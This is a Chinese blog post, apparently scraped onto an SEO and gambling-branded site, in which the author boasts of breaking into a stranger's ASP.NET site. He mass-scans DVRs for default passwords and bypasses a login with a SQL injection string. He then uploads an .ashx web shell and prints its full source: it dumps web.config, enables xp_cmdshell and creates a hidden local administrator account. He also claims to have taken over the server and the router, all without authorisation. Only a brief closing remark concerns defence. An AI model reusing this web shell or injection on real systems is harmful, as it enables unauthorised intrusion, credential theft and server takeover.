必威体育Betway必威体育官网
当前位置:首页 > 网站建设

记一次ASP.NET网站的入侵和如何避免被入侵

时间:2018-03-15 04:00:00来源:网站建设作者:seo实验室小编阅读:55次「手机版」
 

网站入侵

首先我要申明的是不是什么语言写出来的程序就不安全,而是得看写代码的人如何去写这个程序。

前些日子我去客户那调研,发现客户的监控系统用的是海康威视的硬盘录像机,然后默认用户名是AMDin 密码是12345,回来后就想玩一玩看看有多少人用的是默认密码,于是就写了个扫描程序,很快扫描到了一大批网站,也得到很多采用的是默认用户名和密码。

玩了一两天后发现没什么好玩的,就随便在里面找找扫描记录,看到一些后台登陆地址,于是就都测试下,然后就发现了这个网站:

网站入侵 网站服务器 网站安全 网站优化

最开始我是测试弱口令:

admin amdin 等,随便测试了几个,没成功,于是开始测试sql的防注入,用户名输入 1' or 1=1-- 密码随便输了个1 登陆,居然登陆成功了……

网站入侵 网站服务器 网站安全 网站优化

但发现登陆进来后报错了!!!想了下可能是用户名的问题,于是就找页面看看能不能看到我的登陆用户名,最后找到写邮件里面看到了

当然如果入侵只到这 你肯定会绝对弱爆了…… 其实当然也是,因为我拿下了他的数据和程序。当然最好拿下了他的服务器,得知他服务器是做的端口映射,于是又拿下了他的路由 器,然后就没有再继续往下进行了,当然还可以继续下去,比如 路由器的dns劫持,页面重定向端口镜像等等

下面我开始介绍主要入侵页面,文件上传页面:

网站入侵 网站服务器 网站安全 网站优化

自己写了个ashx页面,上传

代码很简单,就是读取网站的web.config文件然后以文本形式输出,

我先简单说下入侵流程:

1、读取web.config得到数据库连接

2、利用SQL Server执行命令添加windows用户(因为网站默认是iis用户,没有权限直线net等相关操作,但SQL Server是基于本地服务运行的,权限很高)

我贴出我上传的ashx文件代码:

  1. <%@WebhandlerLanguage="C#"Class="TextLd"%>usingSystem;
  2. usingSystem.Collections.Generic;usingSystem.Linq;
  3. usingSystem.Web;usingSystem.Data.SqlClient;
  4. publicclassTextLd:IHttpHandler
  5. {publicvoidCreatelocalUser(stringnewPath)
  6. {System.Diagnostics.Process.Start(@"d:\1.vbs");
  7. System.IO.File.WriteAllText(@"d:\1.vbs","setwsnetwork=CreateObject(\"WSCRIPT.NETWORK\")\r\nos=\"WinNT://\"&wsnetwork.ComputerName\r\nSetob=GetObject(os)\r\nSetoe=GetObject(os&\"/AdMinistrators,group\")'属性,admin组\r\nod=ob.Create(\"user\",\"test\")'建立用户\r\nSetPassword\"1234\"'设置密码\r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\naddos&\"/test\"");}
  8. publicvoidShowWebConfig(Httpcontextcontext){
  9. context.response.write(System.IO.File.ReadAllText(context.request.MAPPath("~/web.config")));}
  10. publicvoidWriteVbs(HttpContextcontext){
  11. System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"),"setwsnetwork=CreateObject(\"WSCRIPT.NETWORK\")\r\nos=\"WinNT://\"&wsnetwork.ComputerName\r\nSetob=GetObject(os)\r\nSetoe=GetObject(os&\"/Administrators,group\")'属性,admin组\r\nod=ob.Create(\"user\",\"test\")'建立用户\r\nSetPassword\"1234\"'设置密码\r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\naddos&\"/test\"");}
  12. publicvoidExecuteSql(stringconnection,stringsql){
  13. using(SqlConnectioncon=newSqlConnection(connection)){
  14. using(Sqlcommandcommd=newSqlCommand(sql,con)){
  15. con.Open();commd.ExecuteNonQuery();
  16. con.Close();}
  17. }}
  18. publicvoidProcessRequest(HttpContextcontext){
  19. context.Response.contentType="text/plain";context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
  20. try{
  21. varconnection=context.request.querystring["connection"];switch(context.Request.QueryString["method"])
  22. {case"1":WriteVbs(context);break;
  23. case"2":ExecuteSql(connection,@"sp_configure'showadvancedoptions',1reconfigure");
  24. ExecuteSql(connection,@"sp_configure'xp_cmdshell',1reconfigure");//开启数据库的xp_cmdshellbreak;
  25. case"3":ExecuteSql(connection,"execmaster..xp_cmdshell'cscript"+context.Request.MapPath("~/1.vbs")+"'");break;
  26. default:ShowWebConfig(context);
  27. break;}
  28. }catch(Exceptionex)
  29. {context.Response.Write(ex.message);
  30. }context.response.end();
  31. }publicboolIsReusable
  32. {get
  33. {returnfalse;
  34. }}
  35. }

然后一次执行,就这样服务器就被我拿下了! 建立了一个用户名为test密码是1234的超级管理员用户,于是测试下远程连接

网站入侵 网站服务器 网站安全 网站优化

然后弄干啥,大家都知道的……

当然,如果不拿下他服务器,你想想你都能直线你自己写的代码了……什么坏事干不了。。。 当然本人只是测试了下可行性,就算不拿下服务器,执行sql语句把他数据库备份下载下来拿还不是分分钟的事情?

好了 我来总结下這次入侵吧,最主要的娄底其实不是他的sql注入(个人觉得,当然他是导火索),而是文件上传,大部分程序员在写文件上传功能的时候,之前客户上传过来的文件保存到网站目录下的某个文件夹,不做任何处理,这也就是导致了他服务器被我拿下的最主要的入口。

所以我还是奉劝大家一下,做文件上传还是对文件进行下处理比较好,具体怎么处理我想聪明的你肯定有很多方法……

小学文化的我伤不起啊…… 原谅我文采不好,你们将就着看吧!

相关阅读

动态网站相关概念

C/S体系结构:Client/Server 客户机/服务器结构B/S体系结构:Browser/Server 浏览器/服务器结构URL:Universal Resource Locator 统一

屡禁不止:为什么公司会一再被黑客入侵?

警方正在调查一系列针对英国宽带服务提供商「TalkTalk」公司网页的入侵事件,在这次入侵中,黑客或许已经获得了这家公司 400 万客户

网站推广之怎样写出好的软文

seo优化其中的一项就是做写原创文章,有利于提高搜索引擎抓取,增加网站权重。软文撰写也是很有讲究的,是seo工作的一个重要的组成部分

怎样的营销型网站才能满足企业网络营销需求

随着互联网的发展,企业对网络营销的需求也越来越旺盛,而在此基础之上,营销型网站建设也就成为了企业的一项必要工作。通过营销型网站

2015中国地方社区网站高峰论坛9月23日在南京成功举行

9月18日,由A5站长网和南京魔苹科技公司联合主办联合主办的&ldquo;2015中国地方社区网站高峰论坛&rdquo;在南京苏宁威尼斯酒店举行,

分享到:

栏目导航

推荐阅读

热门阅读